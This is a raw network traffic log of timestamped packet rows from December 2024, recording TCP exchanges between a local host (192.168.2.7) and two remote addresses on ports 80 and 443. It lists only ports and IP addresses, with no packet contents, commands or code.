Dec 7, 2024 18:26:54.434720993 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.434812069 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.434824944 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.434858084 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.435157061 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.435206890 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.435507059 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.435549974 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.435612917 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.435651064 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.436346054 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.436394930 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.436525106 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.436563969 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.436631918 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.436674118 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.437794924 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.437844038 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.437854052 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.437885046 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.438647032 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.438692093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.438766003 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.438806057 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.439699888 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.439748049 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.439821005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.439861059 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.440768957 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.440813065 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.440980911 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.441023111 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.441848040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.441891909 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.441977978 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.442018986 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.443006039 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.443053961 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.443093061 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.443128109 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.444005966 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.444048882 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.444092035 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.444128990 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.445116997 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.445162058 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.445234060 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.445274115 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.446109056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.446162939 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.446232080 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.446269035 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.447228909 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.447278023 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.447407007 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.447448015 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.448335886 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.448400974 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.448494911 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.448545933 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.449378967 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.449429035 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.449577093 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.449619055 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.450417042 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.450467110 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.450512886 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.450550079 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.451550961 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.451595068 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.451652050 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.451689959 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.452500105 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.452542067 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.452603102 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.452641964 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.453591108 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.453639030 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.453705072 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.453742981 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.454653978 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.454699993 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.454777956 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.454818010 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.455710888 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.455760002 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.455885887 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.455931902 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.456773043 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.456818104 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.456923008 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.456964970 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.457844973 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.457901001 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.457971096 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.458010912 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.458884001 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.458929062 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.459002972 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.459045887 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.459963083 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.460007906 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.460066080 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.460107088 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.461044073 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.461098909 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.461174965 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.461215973 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.462110996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.462156057 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.462208033 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.462245941 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.482245922 CET	443	49813	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.488734007 CET	49813	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.488759995 CET	443	49813	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.489207029 CET	49813	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.489212036 CET	443	49813	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.504144907 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.504260063 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.504261971 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.504300117 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.504642963 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.504699945 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.587007999 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.587063074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.587110996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.587146997 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.587666988 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.587713003 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.587791920 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.587826967 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.587970972 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.588006973 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.588735104 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.588779926 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.588850021 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.588886976 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.589862108 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.589903116 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.589953899 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.589992046 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.590846062 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.590890884 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.591048956 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.591092110 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.591891050 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.591933966 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.592025995 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.592068911 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.593099117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.593142033 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.593305111 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.593343973 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.594048977 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.594089985 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.594189882 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.594224930 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.595103025 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.595144033 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.595237970 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.595274925 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.596234083 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.596282959 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.596354961 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.596401930 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.597193956 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.597238064 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.597325087 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.597367048 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.598395109 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.598448992 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.598489046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.598526955 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.599432945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.599486113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.599623919 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.599664927 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.600486040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.600526094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.600625992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.600667000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.601457119 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.601491928 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.601634026 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.601667881 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.602520943 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.602581024 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.602658033 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.602694988 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.603621960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.603671074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.603827000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.603864908 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.604712963 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.604753017 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.604878902 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.604917049 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.605745077 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.605792046 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.605914116 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.605948925 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.606831074 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.606873989 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.606965065 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.607000113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.607892990 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.607933998 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.608061075 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.608103991 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.608963013 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.609011889 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.609175920 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.609215021 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.609992981 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.610079050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.610145092 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.610181093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.611059904 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.611109018 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.611182928 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.611217022 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.612437963 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.612451077 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.612479925 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.612493992 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.613260031 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.613296986 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.613342047 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.613382101 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.614250898 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.614330053 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.614428997 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.614461899 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.615348101 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.615386963 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.615492105 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.615530014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.628320932 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.628338099 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.628360033 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.628381014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.628447056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.628478050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.699538946 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.699969053 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.699985027 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.700387955 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.700392962 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.743083954 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.743155003 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.743197918 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.743232965 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.743565083 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.743633032 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.743719101 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.744364023 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.744410992 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.744462967 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.744498014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.745578051 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.745620012 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.745625019 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.745676041 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.746766090 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.746823072 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.746850967 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.746889114 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.747562885 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.747612000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.747759104 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.747806072 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.748619080 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.748667955 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.748806000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.748851061 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.749943972 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.749990940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.750042915 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.750085115 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.750916004 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.750963926 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.751033068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.751074076 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.751913071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.751956940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.752027035 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.752067089 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.752953053 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.753007889 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.822031021 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:54.822154999 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.913343906 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:54.970398903 CET	443	49813	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.970427036 CET	443	49813	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.970496893 CET	443	49813	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.970515966 CET	49813	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.970541954 CET	49813	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.970771074 CET	49813	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.970788956 CET	443	49813	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.970798016 CET	49813	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.970803976 CET	443	49813	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.973704100 CET	49817	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.973745108 CET	443	49817	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.973825932 CET	49817	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.973994970 CET	49817	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.974006891 CET	443	49817	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.984219074 CET	443	49815	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.984612942 CET	49815	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.984617949 CET	443	49814	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.984622002 CET	443	49815	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.984885931 CET	49814	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.984914064 CET	443	49814	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.985085964 CET	49815	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.985091925 CET	443	49815	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:54.985416889 CET	49814	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:54.985421896 CET	443	49814	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.033077002 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.139538050 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.139559984 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.139615059 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.139646053 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.139837980 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.139851093 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.139863014 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.140000105 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.140028000 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.140067101 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.142504930 CET	49818	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.142554998 CET	443	49818	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.142620087 CET	49818	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.142754078 CET	49818	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.142766953 CET	443	49818	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.400048971 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.400165081 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.400384903 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.400423050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.400504112 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.400515079 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.400537014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.400557041 CET	49786	80	192.168.2.7	185.215.113.206
